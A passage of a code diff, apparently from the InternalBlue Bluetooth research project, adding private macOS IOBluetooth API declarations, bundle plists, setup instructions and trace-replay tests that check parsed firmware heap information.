+- (int)BluetoothHCIWriteNumBroadcastRetransmissions:(unsigned char)arg1;
+- (int)BluetoothHCIReadNumBroadcastRetransmissions:(char *)arg1;
+- (int)BluetoothHCIWriteAutomaticFlushTimeout:(unsigned short)arg1 inFlushTimeout:(unsigned short)arg2;
+- (int)BluetoothHCIReadAutomaticFlushTimeout:(unsigned short)arg1 outFlushTimeout:(unsigned short *)arg2;
+- (int)BluetoothHCIWriteVoiceSetting:(unsigned short)arg1;
+- (int)BluetoothHCIReadVoiceSetting:(unsigned short *)arg1;
+- (int)BluetoothHCIWriteClassOfDevice:(unsigned int)arg1;
+- (int)BluetoothHCIReadClassOfDevice:(unsigned int *)arg1;
+- (int)BluetoothHCIWriteAuthenticationEnable:(unsigned char)arg1;
+- (int)BluetoothHCIReadAuthenticationEnable:(char *)arg1;
+- (int)BluetoothHCIWriteInquiryScanActivity:(unsigned short)arg1 inInquiryScanWindow:(unsigned short)arg2;
+- (int)BluetoothHCIReadInquiryScanActivity:(unsigned short *)arg1 outInquiryScanWindow:(unsigned short *)arg2;
+- (int)BluetoothHCIWritePageScanActivity:(unsigned short)arg1 inPageScanWindow:(unsigned short)arg2;
+- (int)BluetoothHCIReadPageScanActivity:(unsigned short *)arg1 outPageScanWindow:(unsigned short *)arg2;
+- (int)BluetoothHCIWriteScanEnable:(unsigned char)arg1;
+- (int)BluetoothHCIReadScanEnable:(char *)arg1;
+- (int)BluetoothHCIWritePageTimeout:(unsigned short)arg1;
+- (int)BluetoothHCIReadPageTimeout:(unsigned short *)arg1;
+- (int)BluetoothHCIWriteConnectionAcceptTimeout:(unsigned short)arg1;
+- (int)BluetoothHCIReadConnectionAcceptTimeout:(unsigned short *)arg1;
+- (int)BluetoothHCIReadLocalName:(unsigned char [256])arg1;
+- (int)BluetoothHCIWriteLocalName:(unsigned char [256])arg1;
+- (int)BluetoothHCIDeleteStoredLinkKey:(const struct BluetoothDeviceAddress *)arg1 inDeleteAllFlag:(unsigned char)arg2 outNumKeysDeleted:(unsigned short *)arg3;
+- (int)BluetoothHCIWriteStoredLinkKey:(unsigned int)arg1 inDeviceAddress:(const struct BluetoothDeviceAddress *)arg2 inLinkKey:(const struct BluetoothKey *)arg3 outNumKeysWritten:(char *)arg4;
+- (int)BluetoothHCIReadStoredLinkKey:(const struct BluetoothDeviceAddress *)arg1 inReadAllFlag:(unsigned char)arg2 outStoredLinkKeysInfo:(struct BluetoothHCIStoredLinkKeysInfo *)arg3;
+- (int)BluetoothHCICreateNewUnitKey;
+- (int)BluetoothHCIWritePINType:(unsigned char)arg1;
+- (int)BluetoothHCIReadPINType:(char *)arg1;
+- (int)BluetoothHCIFlush:(unsigned short)arg1;
+- (int)BluetoothHCISetEventFilter:(unsigned char)arg1 inFilterConditionType:(unsigned char)arg2 inCondition:(struct BluetoothEventFilterCondition *)arg3;
+- (int)BluetoothHCIReset;
+- (int)BluetoothHCISetEventMask:(const struct BluetoothSetEventMask *)arg1;
+- (int)BluetoothHCISniffSubrating:(unsigned short)arg1 inMaximumLatency:(unsigned short)arg2 inMinimumRemoteTimeout:(unsigned short)arg3 inMinimumLocalTimeout:(unsigned short)arg4 outConnectionHandle:(unsigned short *)arg5;
+- (int)BluetoothHCIFlowSpecification:(struct BluetoothHCIEventFlowSpecificationData *)arg1 outFlowSpecificationCompleteResults:(struct BluetoothHCIEventFlowSpecificationData *)arg2;
+- (int)BluetoothHCIWriteDefaultLinkPolicySettings:(unsigned short)arg1;
+- (int)BluetoothHCIReadDefaultLinkPolicySettings:(unsigned short *)arg1;
+- (int)BluetoothHCIWriteLinkPolicySettings:(unsigned short)arg1 inLinkPolicySettings:(unsigned short)arg2;
+- (int)BluetoothHCIReadLinkPolicySettings:(unsigned short)arg1 outLinkPolicySettings:(unsigned short *)arg2;
+- (int)BluetoothHCISwitchRole:(const struct BluetoothDeviceAddress *)arg1 inRole:(unsigned char)arg2 outRoleChangeResults:(struct BluetoothHCIEventRoleChangeResults *)arg3;
+- (int)BluetoothHCIRoleDiscovery:(unsigned short)arg1 outCurrentRole:(char *)arg2;
+- (int)BluetoothHCIQoSSetup:(unsigned short)arg1 inFlags:(unsigned char)arg2 inServiceType:(unsigned char)arg3 inTokenRate:(unsigned int)arg4 inPeakBandwidth:(unsigned int)arg5 inLatency:(unsigned int)arg6 inDelayVariation:(unsigned int)arg7 outQoSSetupCompleteResults:(struct BluetoothHCIEventQoSSetupCompleteResults *)arg8;
+- (int)BluetoothHCIExitParkState:(unsigned short)arg1 outModeChangeResults:(struct BluetoothHCIEventModeChangeResults *)arg2;
+- (int)BluetoothHCIParkState:(unsigned short)arg1 inBeaconMaxInterval:(unsigned short)arg2 inBeaconMinInterval:(unsigned short)arg3 outModeChangeResults:(struct BluetoothHCIEventModeChangeResults *)arg4;
+- (int)BluetoothHCIExitSniffMode:(unsigned short)arg1 outModeChangeResults:(struct BluetoothHCIEventModeChangeResults *)arg2;
+- (int)BluetoothHCISniffMode:(unsigned short)arg1 inSniffMaxInterval:(unsigned short)arg2 inSniffMinInterval:(unsigned short)arg3 inSniffAttempt:(unsigned short)arg4 inSniffTimeout:(unsigned short)arg5 outModeChangeResults:(struct BluetoothHCIEventModeChangeResults *)arg6;
+- (int)BluetoothHCIHoldMode:(unsigned short)arg1 inHoldModeMaxInterval:(unsigned short)arg2 inHoldModeMinInterval:(unsigned short)arg3 outModeChangeResults:(struct BluetoothHCIEventModeChangeResults *)arg4;
+- (int)BluetoothHCIIOCapabilityRequestNegativeReply:(const struct BluetoothDeviceAddress *)arg1 inReason:(unsigned char)arg2;
+- (int)BluetoothHCIRemoteOOBDataRequestNegativeReply:(const struct BluetoothDeviceAddress *)arg1;
+- (int)BluetoothHCIRemoteOOBDataRequestReply:(const struct BluetoothDeviceAddress *)arg1 inC:(const struct BluetoothHCISimplePairingOOBData *)arg2 inR:(const struct BluetoothHCISimplePairingOOBData *)arg3;
+- (int)BluetoothHCIUserPasskeyRequestNegativeReply:(const struct BluetoothDeviceAddress *)arg1;
+- (int)BluetoothHCIUserPasskeyRequestReply:(const struct BluetoothDeviceAddress *)arg1 inNumericValue:(unsigned int)arg2;
+- (int)BluetoothHCIUserConfirmationRequestNegativeReply:(const struct BluetoothDeviceAddress *)arg1;
+- (int)BluetoothHCIUserConfirmationRequestReply:(const struct BluetoothDeviceAddress *)arg1;
+- (int)BluetoothHCIIOCapabilityRequestReply:(const struct BluetoothDeviceAddress *)arg1 inIOCapability:(unsigned char)arg2 inOOBDataPresent:(unsigned char)arg3 inAuthenticationRequirements:(unsigned char)arg4;
+- (int)BluetoothHCIRejectSynchronousConnectionRequest:(const struct BluetoothDeviceAddress *)arg1 inReason:(unsigned char)arg2 outSynchronousConnectionCompleteResults:(struct BluetoothHCIEventSynchronousConnectionCompleteResults *)arg3;
+- (int)BluetoothHCIAcceptSynchronousConnectionRequest:(const struct BluetoothDeviceAddress *)arg1 inTransmitBandwidth:(unsigned int)arg2 inReceiveBandwidth:(unsigned int)arg3 inMaxLatency:(unsigned short)arg4 inContentFormat:(unsigned short)arg5 inRetransmissionEffort:(unsigned char)arg6 inPacketType:(unsigned short)arg7 outSynchronousConnectionCompleteResults:(struct BluetoothHCIEventSynchronousConnectionCompleteResults *)arg8;
+- (int)BluetoothHCISetupSynchronousConnection:(unsigned short)arg1 inTransmitBandwidth:(unsigned int)arg2 inReceiveBandwidth:(unsigned int)arg3 inMaxLatency:(unsigned short)arg4 inVoiceSetting:(unsigned short)arg5 inRetransmissionEffort:(unsigned char)arg6 inPacketType:(unsigned short)arg7 outSynchronousConnectionCompleteResults:(struct BluetoothHCIEventSynchronousConnectionCompleteResults *)arg8;
+- (int)BluetoothHCIReadLMPHandle:(unsigned short)arg1 outReadLMPHandleResults:(struct BluetoothHCIReadLMPHandleResults *)arg2;
+- (int)BluetoothHCIReadClockOffset:(unsigned short)arg1 outReadClockOffsetCompleteResults:(unsigned short *)arg2;
+- (int)BluetoothHCIReadRemoteVersionInformation:(unsigned short)arg1 outReadRemoteVersionInformationCompleteResults:(struct BluetoothHCIEventReadRemoteVersionInfoResults *)arg2;
+- (int)BluetoothHCIReadRemoteExtendedFeatures:(unsigned short)arg1 inPageNumber:(unsigned char)arg2 outReadRemoteExtendedFeaturesCompleteResults:(struct BluetoothHCIEventReadRemoteExtendedFeaturesResults *)arg3;
+- (int)BluetoothHCIReadRemoteSupportedFeatures:(unsigned short)arg1 outReadRemoteSupportedFeaturesCompleteResults:(struct BluetoothHCIEventReadRemoteSupportedFeaturesResults *)arg2;
+- (int)BluetoothHCIRemoteNameRequestCancel:(const struct BluetoothDeviceAddress *)arg1;
+- (int)BluetoothHCIRemoteNameRequest:(const struct BluetoothDeviceAddress *)arg1 inPageScanRepetitionMode:(unsigned char)arg2 inReserved:(unsigned char)arg3 inClockOffset:(unsigned short)arg4 outRemoteNameRequestCompleteResults:(struct BluetoothHCIEventRemoteNameRequestResults *)arg5;
+- (int)BluetoothHCIMasterLinkKey:(unsigned char)arg1 outMasterLinkKeyCompleteResults:(struct BluetoothHCIEventMasterLinkKeyCompleteResults *)arg2;
+- (int)BluetoothHCIChangeConnectionLinkKey:(unsigned short)arg1 outChangeConnectionLinkKeyCompleteResults:(struct BluetoothHCIEventChangeConnectionLinkKeyCompleteResults *)arg2;
+- (int)BluetoothHCISetConnectionEncryption:(unsigned short)arg1 inEncryptionEnable:(unsigned char)arg2 outEncryptionChangeResults:(struct BluetoothHCIEventEncryptionChangeResults *)arg3;
+- (int)BluetoothHCIAuthenticationRequested:(unsigned short)arg1 outAuthenticationCompleteResults:(struct BluetoothHCIEventAuthenticationCompleteResults *)arg2;
+- (int)BluetoothHCIChangeConnectionPacketType:(unsigned short)arg1 inPacketType:(unsigned short)arg2 outConnectionPacketTypeChangedResults:(struct BluetoothHCIEventConnectionPacketTypeResults *)arg3;
+- (int)BluetoothHCIPINCodeRequestNegativeReply:(const struct BluetoothDeviceAddress *)arg1;
+- (int)BluetoothHCIPINCodeRequestReply:(const struct BluetoothDeviceAddress *)arg1 inPINCodeLength:(unsigned long long)arg2 inPINCode:(const struct BluetoothPINCode *)arg3;
+- (int)BluetoothHCILinkKeyRequestNegativeReply:(const struct BluetoothDeviceAddress *)arg1;
+- (int)BluetoothHCILinkKeyRequestReply:(const struct BluetoothDeviceAddress *)arg1 inLinkKey:(const struct BluetoothKey *)arg2;
+- (int)BluetoothHCIRejectConnectionRequest:(const struct BluetoothDeviceAddress *)arg1 inReason:(unsigned char)arg2 outConnectionCompleteResults:(struct BluetoothHCIEventConnectionCompleteResults *)arg3;
+- (int)BluetoothHCIAcceptConnectionRequest:(const struct BluetoothDeviceAddress *)arg1 inRole:(unsigned char)arg2 outConnectionCompleteResults:(struct BluetoothHCIEventConnectionCompleteResults *)arg3;
+- (int)BluetoothHCICreateConnectionCancel:(const struct BluetoothDeviceAddress *)arg1;
+- (int)BluetoothHCIDisconnect:(unsigned short)arg1 inReason:(unsigned char)arg2 outDisconnectionCompleteResults:(struct BluetoothHCIEventDisconnectionCompleteResults *)arg3;
+- (int)BluetoothHCICreateConnection:(const struct BluetoothDeviceAddress *)arg1 inPacketType:(unsigned short)arg2 inPageScanRepetitionMode:(unsigned char)arg3 inReserved:(unsigned char)arg4 inClockOffset:(unsigned short)arg5 inAllowRoleSwitch:(unsigned char)arg6 outConnectionCompleteResults:(struct BluetoothHCIEventConnectionCompleteResults *)arg7;
+- (int)BluetoothHCIExitPeriodicInquiryMode;
+- (int)BluetoothHCIPeriodicInquiryMode:(unsigned char)arg1 inMinPeriodLength:(unsigned char)arg2 inLAP:(unsigned int)arg3 inInquiryLength:(unsigned char)arg4 inNumResponses:(unsigned char)arg5 outInquiryResults:(struct BluetoothHCIInquiryResults *)arg6;
+- (int)BluetoothHCIInquiryCancel;
+- (int)BluetoothHCIInquiry:(unsigned int)arg1 inInquiryLength:(unsigned char)arg2 inNumResponses:(unsigned char)arg3 outInquiryResults:(struct BluetoothHCIInquiryResults *)arg4;
+- (void)releaseRequest:(unsigned int)arg1;
+- (unsigned int)requestWithTimeout:(int)arg1 isSynchronous:(BOOL)arg2 device:(id)arg3;
+- (int)setClassOfDevice:(unsigned int)arg1 forTimeInterval:(double)arg2;
+- (unsigned int)classOfDevice;
+- (unsigned short)USBVendorID;
+- (unsigned short)USBProductID;
+- (int)configState;
+- (unsigned int)featureFlags;
+- (int)getAddress:(struct BluetoothDeviceAddress *)arg1;
+- (id)nameAsString;
+- (id)addressAsString;
+- (int)setProperty:(id)arg1 forKey:(id)arg2;
+- (int)enableRemoteWake:(BOOL)arg1;
+- (int)softwareVersion:(struct NumVersion *)arg1 firmwareVersion:(struct BluetoothHCIVersionInfo *)arg2;
+- (int)getControllerManufacturerName;
+- (int)getDiagnosticInfo;
+- (BOOL)isReady;
+- (void)finalize;
+- (void)dealloc;
+- (id)init;
+
+@end
+
+#pragma mark - Private IOBluetooth Functions
+
+struct IOBluetoothHCIDispatchParams {
+    uint64_t args[7];
+    uint64_t sizes[7];
+    uint64_t index;
+};
+
+struct BluetoothHCIUserClientNotificationDataInfo {
+    unsigned long long _field1;
+    unsigned long long _field2;
+    struct BluetoothHCIRequestCallbackInfo _field3;
+    unsigned int parameterSize;
+    unsigned int _field5;
+    unsigned short opcode;
+    unsigned char _field7;
+    unsigned char _field8;
+    unsigned char _field9;
+    unsigned char _field10;
+    unsigned char _field11;
+    unsigned char _field12;
+};
+
+struct IOBluetoothHCIEventNotificationMessage {
+    struct BluetoothHCIUserClientNotificationDataInfo dataInfo;
+    void *eventParameterBytes;
+};
+
+int BluetoothHCIRequestCreate(uint32_t *request, int timeout, void* arg3, size_t arg4);
+
+int BluetoothHCIRequestDelete(uint32_t request);
+
+int BluetoothHCISendRawCommand(uint32_t request,
+                               void *commandData,
+                               size_t commmandSize);
+
+int BluetoothHCISendRawACLData(void *commandData,
+                               size_t commandSize,
+                               uint32_t handle,
+                               uint32_t request);
+
+int BluetoothHCIDispatchUserClientRoutine(struct IOBluetoothHCIDispatchParams *arguments,
+                                          unsigned char *returnValue,
+                                          size_t *returnValueSize);
+
+#pragma mark - Helper Methods
+
+/**
+ Data object for notification message.
+ */
+static inline NSData * IOBluetoothHCIEventParameterData(IOBluetoothHCIEventNotificationMessageRef message)
+//__attribute__((swift_name("getter:IOBluetoothHCIEventNotificationMessageRef.eventParameterData(self:)")))
+{
+    size_t size = message->dataInfo.parameterSize;
+    NSData *data = [NSData dataWithBytes:&message->eventParameterBytes length:size];
+    return data;
+}
+
+NS_ASSUME_NONNULL_END

macos-framework/IOBluetoothExtended/IOBluetoothExtended/Info.plist

@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>CFBundleDevelopmentRegion</key>
+	<string>$(DEVELOPMENT_LANGUAGE)</string>
+	<key>CFBundleExecutable</key>
+	<string>$(EXECUTABLE_NAME)</string>
+	<key>CFBundleIdentifier</key>
+	<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
+	<key>CFBundleInfoDictionaryVersion</key>
+	<string>6.0</string>
+	<key>CFBundleName</key>
+	<string>$(PRODUCT_NAME)</string>
+	<key>CFBundlePackageType</key>
+	<string>FMWK</string>
+	<key>CFBundleShortVersionString</key>
+	<string>1.0</string>
+	<key>CFBundleVersion</key>
+	<string>$(CURRENT_PROJECT_VERSION)</string>
+	<key>NSHumanReadableCopyright</key>
+	<string>Copyright © 2019 Davide Toldo. All rights reserved.</string>
+</dict>
+</plist>

macos-framework/IOBluetoothExtended/IOBluetoothExtendedTests/IOBluetoothExtendedTests.m

@@ -0,0 +1,37 @@
+//
+//  IOBluetoothExtendedTests.m
+//  IOBluetoothExtendedTests
+//
+//  Created by Davide Toldo on 06.07.19.
+//  Copyright © 2019 Davide Toldo. All rights reserved.
+//
+
+#import <XCTest/XCTest.h>
+
+@interface IOBluetoothExtendedTests : XCTestCase
+
+@end
+
+@implementation IOBluetoothExtendedTests
+
+- (void)setUp {
+    // Put setup code here. This method is called before the invocation of each test method in the class.
+}
+
+- (void)tearDown {
+    // Put teardown code here. This method is called after the invocation of each test method in the class.
+}
+
+- (void)testExample {
+    // This is an example of a functional test case.
+    // Use XCTAssert and related functions to verify your tests produce the correct results.
+}
+
+- (void)testPerformanceExample {
+    // This is an example of a performance test case.
+    [self measureBlock:^{
+        // Put the code you want to measure the time of here.
+    }];
+}
+
+@end

macos-framework/IOBluetoothExtended/IOBluetoothExtendedTests/Info.plist

@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>CFBundleDevelopmentRegion</key>
+	<string>$(DEVELOPMENT_LANGUAGE)</string>
+	<key>CFBundleExecutable</key>
+	<string>$(EXECUTABLE_NAME)</string>
+	<key>CFBundleIdentifier</key>
+	<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
+	<key>CFBundleInfoDictionaryVersion</key>
+	<string>6.0</string>
+	<key>CFBundleName</key>
+	<string>$(PRODUCT_NAME)</string>
+	<key>CFBundlePackageType</key>
+	<string>BNDL</string>
+	<key>CFBundleShortVersionString</key>
+	<string>1.0</string>
+	<key>CFBundleVersion</key>
+	<string>1</string>
+</dict>
+</plist>

macos-framework/README.md

@@ -0,0 +1,23 @@
+
+
+macOS Setup
+-----------
+
+```
+brew install unicorn
+pip install pwntools
+pip install pyobjc
+
+open internalblue/macos-framework/IOBluetoothExtended/IOBluetoothExtended.xcodeproj/
+```
+
+⌘ + B
+
+```
+python internalblue/cli.py
+```
+
+If you want to use ARM assembly and disassembly, which is required for some patches and debugging:
+
+* brew install https://github.com/Gallopsled/pwntools-binutils/raw/master/osx/binutils-arm.rb
+* Xcode 10.2.1

requirements.txt

@@ -1 +0,0 @@
-pwntools==3.12.2

setup.py

@@ -11,8 +11,12 @@ setup(name='internalblue',
       license='MIT',
       packages=['internalblue', 'internalblue/fw'],
       install_requires=[
-          'pwntools',
+          'pwntools>=4.2.0.dev0',
+          'pyelftools',
       ],
+      extras_require={
+	"macoscore": ["pyobjc"],
+	},
       entry_points = {
         'console_scripts': ['internalblue=internalblue.cli:internalblue_cli']
       },

tests/dummy_core_test.py

@@ -0,0 +1,17 @@
+import unittest
+
+from internalblue.testcore import testCore
+
+
+class DummyCoreTest(unittest.TestCase):
+
+    def setUp(self):
+        t = testCore(log_level='debug', data_directory='/tmp')
+        dev = t.device_list()[0]
+        reference = dev[0]
+        reference.interface = dev[1]
+        self.assert_(reference.connect(), 'Connect failed')
+        self.reference = reference
+
+    def tearDown(self):
+        self.reference.shutdown()

tests/generic_test.sh

@@ -0,0 +1,12 @@
+#!/bin/env sh
+line=$(head -n 1 "$1")
+
+if [[ $line == \#* ]] ;
+then
+
+	python -m internalblue.cli --device hci0 --replay "$1" --commands "$(echo $line | tr -d "#"); quit" 2>&1 | grep AssertionError || exit 0 && exit 1
+else
+	echo "Trace $1 has no command specified"
+fi
+
+

tests/test_heap_new.py

@@ -0,0 +1,282 @@
+from __future__ import print_function
+from internalblue.cli import _parse_argv
+from internalblue.hcicore import HCICore
+
+import os
+import nose
+
+try:
+    from typing import List, Optional, Any, TYPE_CHECKING, Tuple
+except ImportError:
+    pass
+
+
+def test_info_heap_new():
+    dummy = [
+        {
+            "index": 0,
+            "capacity": 32,
+            "address": 2100380,
+            "next": 2100412,
+            "memory_size": 1152,
+            "buffer_list": 2190960,
+            "memory": 2190864,
+            "buffer_size": 32,
+            "buffer_headers": {
+                2191872: 2134443254,
+                2191620: 2037880954,
+                2191368: 375085499,
+                2191116: 3147300663,
+                2190864: 0,
+                2191764: 264196083,
+                2191512: 2509895076,
+                2191260: 2520551584,
+                2191008: 0,
+                2191908: 1846542368,
+                2191656: 1757769142,
+                2191404: 3932721686,
+                2191152: 2191184,
+                2190900: 28735,
+                2191800: 2840650003,
+                2191548: 1443923039,
+                2191296: 1489683938,
+                2191044: 4066066958,
+                2191944: 1913651233,
+                2191692: 152195353,
+                2191440: 2191472,
+                2191188: 1557416373,
+                2190936: 302056974,
+                2191836: 649087106,
+                2191584: 3228135896,
+                2191332: 3061215438,
+                2191080: 720823376,
+                2191980: 2196903397,
+                2191728: 2191760,
+                2191476: 2016717863,
+                2191224: 733933656,
+                2190972: 101581052
+            },
+            "list_length": 28
+        },
+        {
+            "index": 1,
+            "capacity": 50,
+            "address": 2100412,
+            "next": 2100444,
+            "memory_size": 5000,
+            "buffer_list": 2191888,
+            "memory": 2191888,
+            "buffer_size": 96,
+            "buffer_headers": {
+                2194688: 2418054699,
+                2196288: 1950181917,
+                2192388: 998902997,
+                2193288: 1237870693,
+                2196588: 3682344019,
+                2194188: 3476501705,
+                2191888: 2191984,
+                2195288: 1169168150,
+                2192788: 733035576,
+                2193688: 212170382,
+                2195588: 4256985711,
+                2194588: 2553343043,
+                2196688: 2197224,
+                2192288: 1364917638,
+                2195888: 19938058,
+                2193188: 1183181508,
+                2194088: 2389621397,
+                2196188: 1101316817,
+                2194988: 4119138959,
+                2192688: 3404258821,
+                2196488: 2957618219,
+                2193588: 1015303433,
+                2194488: 1542989588,
+                2195188: 334177442,
+                2192188: 3048389179,
+                2193088: 4249806944,
+                2195488: 1476670297,
+                2193988: 4205996809,
+                2196788: 0,
+                2194888: 1063521161,
+                2195788: 1587397832,
+                2192588: 3951930416,
+                2193488: 3182543110,
+                2196088: 1404536822,
+                2194388: 3962928810,
+                2192088: 1508747568,
+                2196388: 2481150443,
+                2192988: 3794218756,
+                2193888: 2230011074,
+                2195088: 2388733849,
+                2194788: 319481313,
+                2192488: 1066099460,
+                2195388: 2397324227,
+                2193388: 3268540448,
+                2194288: 2194384,
+                2195688: 443293108,
+                2191988: 3365837461,
+                2192888: 2725717105,
+                2195988: 954670552,
+                2193788: 2274473962
+            },
+            "list_length": 50
+        },
+        {
+            "index": 2,
+            "capacity": 12,
+            "address": 2100444,
+            "next": 2169260,
+            "memory_size": 3264,
+            "buffer_list": 2196688,
+            "memory": 2196688,
+            "buffer_size": 268,
+            "buffer_headers": {
+                2196960: 1868719728,
+                2198048: 2301952667,
+                2197504: 2764580300,
+                2198592: 4031749240,
+                2199408: 3141828370,
+                2199680: 2673196138,
+                2197776: 655413012,
+                2196688: 2197224,
+                2198864: 483218198,
+                2199136: 2070409995,
+                2197232: 4269595008,
+                2198320: 2960663615
+            },
+            "list_length": 11
+        },
+        {
+            "index": 3,
+            "capacity": 4,
+            "address": 2169260,
+            "next": 2169292,
+            "memory_size": 4288,
+            "buffer_list": 2199904,
+            "memory": 2199904,
+            "buffer_size": 1068,
+            "buffer_headers": {
+                2199904: 2200972,
+                2200976: 3538041113,
+                2202048: 1981831315,
+                2203120: 2664647264
+            },
+            "list_length": 4
+        },
+        {
+            "index": 4,
+            "capacity": 16,
+            "address": 2169292,
+            "next": 2169324,
+            "memory_size": 17536,
+            "buffer_list": 2204176,
+            "memory": 2204176,
+            "buffer_size": 1092,
+            "buffer_headers": {
+                2206368: 3081486871,
+                2208560: 2201211482,
+                2218424: 1142812043,
+                2210752: 1735894938,
+                2219520: 1997110991,
+                2207464: 3467810309,
+                2220616: 3465059190,
+                2217328: 3406578824,
+                2215136: 2543784863,
+                2204176: 2205268,
+                2209656: 3726451979,
+                2214040: 3051833507,
+                2211848: 3382482014,
+                2205272: 2465189202,
+                2212944: 2900433384,
+                2216232: 619500542
+            },
+            "list_length": 16
+        },
+        {
+            "index": 5,
+            "capacity": 15,
+            "address": 2169324,
+            "next": 2169356,
+            "memory_size": 4020,
+            "buffer_list": 2221648,
+            "memory": 2221648,
+            "buffer_size": 264,
+            "buffer_headers": {
+                2222720: 4187811300,
+                2223792: 71320053,
+                2223524: 2131726092,
+                2222184: 983003111,
+                2224060: 1514897371,
+                2222988: 2920869383,
+                2225132: 670722248,
+                2225400: 4011899155,
+                2221648: 2221912,
+                2224328: 1327684221,
+                2222452: 1691084254,
+                2223256: 2278527172,
+                2224596: 3213868993,
+                2221916: 2666878639,
+                2224864: 4293236507
+            },
+            "list_length": 15
+        },
+        {
+            "index": 6,
+            "capacity": 15,
+            "address": 2169356,
+            "next": 0,
+            "memory_size": 4020,
+            "buffer_list": 2225608,
+            "memory": 2225608,
+            "buffer_size": 264,
+            "buffer_headers": {
+                2226144: 2468503925,
+                2228288: 3769100033,
+                2226948: 3003019165,
+                2225608: 2225872,
+                2228556: 1848533574,
+                2226412: 19831529,
+                2229360: 3069868169,
+                2227216: 2022414238,
+                2227752: 2727841579,
+                2228824: 1909490602,
+                2225876: 2300688060,
+                2226680: 210906155,
+                2228020: 3166977216,
+                2227484: 2262736138,
+                2229092: 1991768492
+            },
+            "list_length": 15
+        }
+    ]
+
+    trace = os.path.join(os.path.dirname(os.path.abspath(__file__)),
+                         'traces/hcicore/dictionary_tests/info_heap_new.trace')
+    args = _parse_argv('')
+    args.device = 'adb_replay'
+    args.replay = trace
+
+    data_directory = os.path.expanduser('~') + '/.internalblue'
+
+    if not os.path.exists(data_directory):
+        os.mkdir(data_directory)
+
+    from internalblue.socket_hooks import hook, ReplaySocket
+    hook(HCICore, ReplaySocket, filename=args.replay)
+
+    connection_methods = [HCICore(log_level='info', data_directory=data_directory, replay=True)]
+
+    devices = []  # type: List[DeviceTuple]
+    devices = connection_methods[0].device_list()
+
+    device = devices[0]
+    reference = device[0]
+    reference.interface = device[1]
+    reference.connect()
+
+    information = reference.readHeapInformation()
+    print(information)
+
+    nose.tools.assert_equal(information, dummy)
+
+    reference.shutdown()

tests/test_heap_old.py

@@ -0,0 +1,234 @@
+from __future__ import print_function
+from internalblue.cli import _parse_argv
+from internalblue.adbcore import ADBCore
+
+import os
+import nose
+
+try:
+    from typing import List, Optional, Any, TYPE_CHECKING, Tuple
+except ImportError:
+    pass
+
+
+def test_info_heap_old():
+    dummy = [
+        {
+            'index':0,
+            'buffer_headers': {
+                2194080: 0,
+                2193828: 2121160,
+                2193864: 2194008,
+                2193900: 2194044,
+                2193936: 2193864,
+                2193972: 2121160,
+                2194008: 2193900,
+                2194044: 2194080
+            },
+            'capacity': 8,
+            'address': 2121160,
+            'next': 2121208,
+            'memory_size': 288,
+            'waitlist_length': 0,
+            'buffer_list': 2193828,
+            'memory': 2193828,
+            'buffer_size': 32,
+            'prev': 2157672,
+            'list_length': 7,
+            'thread_waitlist': 0
+        },
+        {
+            'index': 1,
+            'buffer_headers': {
+                2194592: 0,
+                2194116: 2194184,
+                2194184: 2194252,
+                2194252: 2194320,
+                2194320: 2194388,
+                2194388: 2194456,
+                2194456: 2194524,
+                2194524: 2194592
+            },
+            'capacity': 8,
+            'address': 2121208,
+            'next': 2121256,
+            'memory_size': 544,
+            'waitlist_length': 0,
+            'buffer_list': 2194184,
+            'memory': 2194116,
+            'buffer_size': 64,
+            'prev': 2121160,
+            'list_length': 7,
+            'thread_waitlist': 0
+        },
+        {
+            'index': 2,
+            'buffer_headers': {
+                2196000: 2196268,
+                2197072: 0,
+                2194660: 2194928,
+                2195464: 2195732,
+                2196268: 2196536,
+                2194928: 2195196,
+                2195732: 2196000,
+                2196536: 2196804,
+                2196804: 2197072,
+                2195196: 2195464
+            },
+            'capacity': 10,
+            'address': 2121256,
+            'next': 2121352,
+            'memory_size': 2680,
+            'waitlist_length': 0,
+            'buffer_list': 2194660,
+            'memory': 2194660,
+            'buffer_size': 264,
+            'prev': 2121208,
+            'list_length': 10,
+            'thread_waitlist': 0
+        },
+        {
+            'index': 3,
+            'buffer_headers': {
+                2214480: 2215548,
+                2215548: 2216616,
+                2216616: 0,
+                2213412: 2214480
+            },
+            'capacity': 4,
+            'address': 2121352,
+            'next': 2121304,
+            'memory_size': 4272,
+            'waitlist_length': 0,
+            'buffer_list': 2213412,
+            'memory': 2213412,
+            'buffer_size': 1064,
+            'prev': 2121256,
+            'list_length': 4,
+            'thread_waitlist': 0
+        },
+        {
+            'index': 4,
+            'buffer_headers': {
+                2234124: 0,
+                2231932: 2233028,
+                2224260: 2225356,
+                2219876: 2220972,
+                2226452: 2227548,
+                2223164: 2224260,
+                2228644: 2229740,
+                2220972: 2222068,
+                2225356: 2226452,
+                2230836: 2231932,
+                2233028: 2234124,
+                2222068: 2223164,
+                2227548: 2228644,
+                2217684: 2218780,
+                2218780: 2219876,
+                2229740: 2230836
+            },
+            'capacity': 16,
+            'address': 2121304,
+            'next': 2157624,
+            'memory_size': 17536,
+            'waitlist_length': 0,
+            'buffer_list': 2217684,
+            'memory': 2217684,
+            'buffer_size': 1092,
+            'prev': 2121352,
+            'list_length': 16,
+            'thread_waitlist': 0
+        },
+        {
+            'index': 5,
+            'buffer_headers': {
+                2235264: 2235308,
+                2235616: 2235660,
+                2235396: 2235440,
+                2235528: 2235572,
+                2235660: 2235704,
+                2235308: 2235352,
+                2235440: 2235484,
+                2235704: 2235748,
+                2235792: 2235836,
+                2235220: 2235264,
+                2235748: 2235792,
+                2235352: 2235396,
+                2235572: 2235616,
+                2235836: 0,
+                2235484: 2235528
+            },
+            'capacity': 15,
+            'address': 2157624,
+            'next': 2157672,
+            'memory_size': 660,
+            'waitlist_length': 0,
+            'buffer_list': 2235220,
+            'memory': 2235220,
+            'buffer_size': 40,
+            'prev': 2121304,
+            'list_length': 15,
+            'thread_waitlist': 0
+        },
+        {
+            'index': 6,
+            'buffer_headers': {
+                2236096: 2236132,
+                2236240: 2236276,
+                2236132: 2236168,
+                2236384: 0,
+                2235880: 2235916,
+                2236204: 2236240,
+                2236348: 2236384,
